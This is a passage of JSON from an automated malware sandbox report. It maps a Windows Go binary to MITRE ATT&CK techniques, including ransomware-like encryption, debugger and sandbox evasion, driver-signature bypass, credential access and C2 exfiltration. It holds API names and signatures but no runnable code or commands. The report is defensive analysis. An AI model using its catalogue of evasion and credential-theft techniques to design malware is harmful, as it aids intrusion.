traffic"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to shutdown system"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains possible references to Golang crypto modules"},{"type":"informative","value":"Contains reference to cryptographic keys"},{"type":"informative","value":"Able to import cryptographic keys (seen in ransomware)"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Impact","technique":"Account Access Removal","attack_id":"T1531","attack_id_wiki":"https://attack.mitre.org/techniques/T1531","identifiers":[{"type":"informative","value":"Contains ability to delete a user account from a server (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"},{"type":"suspicious","value":"Queries process mitigation policy via NtQueryInformationProcess"},{"type":"suspicious","value":"YARA signature match - References common sandbox DLLs (sandbox evasion)"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Defense Evasion","technique":"Code Signing Policy Modification","attack_id":"T1553.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/006","identifiers":[{"type":"suspicious","value":"Able to disable driver signature enforcement"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"suspicious","value":"Sets the 'ThreadHideFromDebugger' thread data structure"},{"type":"suspicious","value":"Tries to detect debugger using ProcessDebugObjectHandle"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Defense Evasion","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Defense Evasion","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"YARA signature match – PEB traversal"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"suspicious","value":"Employs a browser-related User Agent without launching browser"},{"type":"informative","value":"Found User Agent related strings"},{"type":"informative","value":"Found string related to HTTP headers"},{"type":"informative","value":"Calls an API typically used to send the specified request to the HTTP server"},{"type":"informative","value":"Calls an API typically used to to receive the response to a HTTP requests"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Command and Control","technique":"Non-Standard Encoding","attack_id":"T1132.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1132/002","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"malicious","value":"Collects system information using POST request"},{"type":"suspicious","value":"POSTs data to a web server"},{"type":"informative","value":"Contains ability to upload file/data"}],"sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Exfiltration","technique":"Data Transfer Size Limits","attack_id":"T1030","attack_id_wiki":"https://attack.mitre.org/techniques/T1030","sources":[{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call","attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)"}],"sources":[{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to enumerate permission groups in the domain","description":"file/memory contains long string with (Indicator: \"netusergetlocalgroups\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")","origin":"File/Memory","mitre_attack_id":"T1069.002","relevance":1,"id":"string-981","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"$25","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify thread functionality – possible hijack (API string)","description":"Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n Found reference to API \"SuspendThread\" (Indicator: \"SuspendThread\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n Found reference to API \"SetThreadContext\" (Indicator: \"SetThreadContext\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n Found reference to API \"GetThreadContext\" (Indicator: \"GetThreadContext\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n file/memory contains long string with (Indicator: \"OpenThread\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":3,"id":"string-309","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"$26","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$27","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"file/memory contains long string with (Indicator: \"OpenProcessToken\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n file/memory contains long string with (Indicator: \"OpenThreadToken\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n Found reference to API \"NtOpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00003656.00000000.269712.FF421000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"$28","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify registry key/value (API string)","description":"file/memory contains long string with (Indicator: \"RegSetValue\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to open a service (API string)","description":"file/memory contains long string with (Indicator: \"OpenService\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-544","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to perform Base64 encoding/decoding","description":"file/memory contains long string with (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n file/memory contains long string with (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n file/memory contains long string with (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n file/memory contains long string with (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-338","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to set file time (API string)","description":"file/memory contains long string with (Indicator: \"SetFileTime\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-409","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"$29","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Spawns Windows crash diagnostic and reporting process","description":"Process \"WerFault.exe\" [UID: 00000000-00001512]\n Process \"WerFault.exe\" [UID: 00000000-00004016]\n Process \"WerFault.exe\" [UID: 00000000-00003492]\n Process \"WerFault.exe\" [UID: 00000000-00003392]\n Process \"WerFault.exe\" [UID: 00000000-00003524]\n Process \"WerFault.exe\" [UID: 00000000-00000800]\n Process \"WerFault.exe\" [UID: 00000000-00001076]\n Process \"WerFault.exe\" [UID: 00000000-00004044]\n Process \"WerFault.exe\" [UID: 00000000-00000892]\n Process \"WerFault.exe\" [UID: 00000000-00000832]\n Process \"WerFault.exe\" [UID: 00000000-00003156]\n Process \"WerFault.exe\" [UID: 00000000-00002968]","origin":"Monitored Target","mitre_attack_id":"T1564","relevance":1,"id":"target-585","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-sized sections","description":"Raw size of \".bss\" is zero","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to decrypt/decode data","description":"Found reference to API \"crypto/internal/fips140/aes.decryptBlock\" (Indicator: \".decrypt\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n Found reference to API \"crypto/internal/fips140/aes.decryptBlockGeneric\" (Indicator: \".decrypt\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n Found reference to API \"crypto/internal/fips140/aes.decryptBlockAsm\" (Indicator: \".decrypt\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-356","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"$2a","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES/RC4 encryption (API string)","description":"file/memory contains long string with (Indicator: \"CertCloseStore\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n file/memory contains long string with (Indicator: \"CryptReleaseContext\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n file/memory contains long string with (Indicator: \"CertOpenSystemStore\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n file/memory contains long string with (Indicator: \"CryptAcquireContext\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n file/memory contains long string with (Indicator: \"CertFreeCertificateContext\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n file/memory contains long string with (Indicator: \"CertEnumCertificatesInStore\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-438","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains possible references to Golang crypto modules","description":"$2b","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-234","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: YARA signature match - AES encryption","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings\n Matched sigs: Contains ability to use Cryptographic classes\n Matched sigs: Contains possible references to Golang crypto modules\n Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider\n Matched sigs: Contains ability to perform AES/RC4 encryption (API string)\n Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: Able to decrypt/decode data\n Matched sigs: Drops file with high entropy\n indicating encryption/obfuscation\n Matched sigs: YARA signature match - ChaCha20 encryption algorithm\n Matched sigs: YARA signature match - AES encryption","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: YARA signature match - AES encryption","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$2c","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"file/memory contains long string with (Indicator: \"GetCommandLine\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n Found string \"syscall.GetCommandLine\" (Indicator: \"GetCommandLine\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00003656.00000000.269712.FF421000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query service configuration on system (API string)","description":"file/memory contains long string(File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-910","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"file/memory contains long string with (Indicator: \"getaddrinfo\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"GetEnvironmentStringsW\" in file \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\"\n Found system information discovery API: \"GetSystemInfo\" in file \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\"\n Found system information discovery API: \"GetEnvironmentStrings (in long string)\" in file \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\"\n Found system information discovery API: \"ExpandEnvironmentStrings (in long string)\" in file \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\"\n Found system information discovery API: \"RtlNtStatusToDosError (in long string)\" in file \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\"\n Found system information discovery API: \"GetEnvironmentStringsW\" in \"00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp\"\n Found system information discovery API: \"GetSystemInfo\" in \"00000000-00003300.00000000.268378.EFEF4000.00000004.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"rundll32.exe\" called \"QueryPerformanceCounter\" (UID: 00000000-00004076)\n \"rundll32.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00004076)\n \"rundll32.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00003300)\n \"rundll32.exe\" called \"QueryPerformanceCounter\" (UID: 00000000-00003300)\n \"rundll32.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00003456)\n \"rundll32.exe\" called \"QueryPerformanceCounter\" (UID: 00000000-00003456)\n \"rundll32.exe\" called \"GetSystemMetrics\" with parameters (UID: 00000000-00000588)\n \"rundll32.exe\" called \"QueryPerformanceCounter\" (UID: 00000000-00000588)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"rundll32.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00004076)\n \"rundll32.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00003300)\n \"rundll32.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00000588)\n \"rundll32.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00001200)\n \"rundll32.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00002896)\n \"rundll32.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00000644)\n \"rundll32.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00001908)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$2d","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$2e","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"rundll32.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"file/memory contains long string with (Indicator: \"GetSystemTimeAsFileTime\"; File: \"70d629ad65716277ecdb508170d397cbed77e40a4845c23ec6589808cd2b4811.bin\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00003656.00000000.269712.FF421000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"6a2e0ba81930917bb402ccef"},{"report_type":"sandbox","report_id":"6a2e0b9bf761e3750c05d891"},{"report_type":"sandbox","report_id":"6a2e063c4f2fca19d3085c57"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine timezone (API string)","description":"file/memory 